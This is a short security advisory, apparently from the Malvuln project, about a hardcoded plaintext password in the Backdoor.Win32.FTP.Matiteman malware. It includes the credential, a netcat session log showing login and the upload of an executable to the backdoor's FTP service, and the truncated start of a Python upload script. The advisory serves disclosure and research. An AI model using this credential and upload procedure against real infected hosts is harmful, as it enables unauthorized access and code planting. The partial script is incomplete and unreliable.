Backdoor.Win32.FTP.Matiteman malware suffers from a hardcoded credential vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt
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Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 21, authentication is required for remote user access. However, the credentials "matiteman" are weak and hardcoded in plaintext within the executable.
Vuln ID: MVID-2021-0425
nc64.exe 192.168.18.125 21
welcome to mtm ftp server
331 Password required for matiteman.
230 User matiteman logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "c:/" is current directory.
227 Entering Passive Mode (192,168,18,125,194,37).
150 Opening data connection for DOOM-SM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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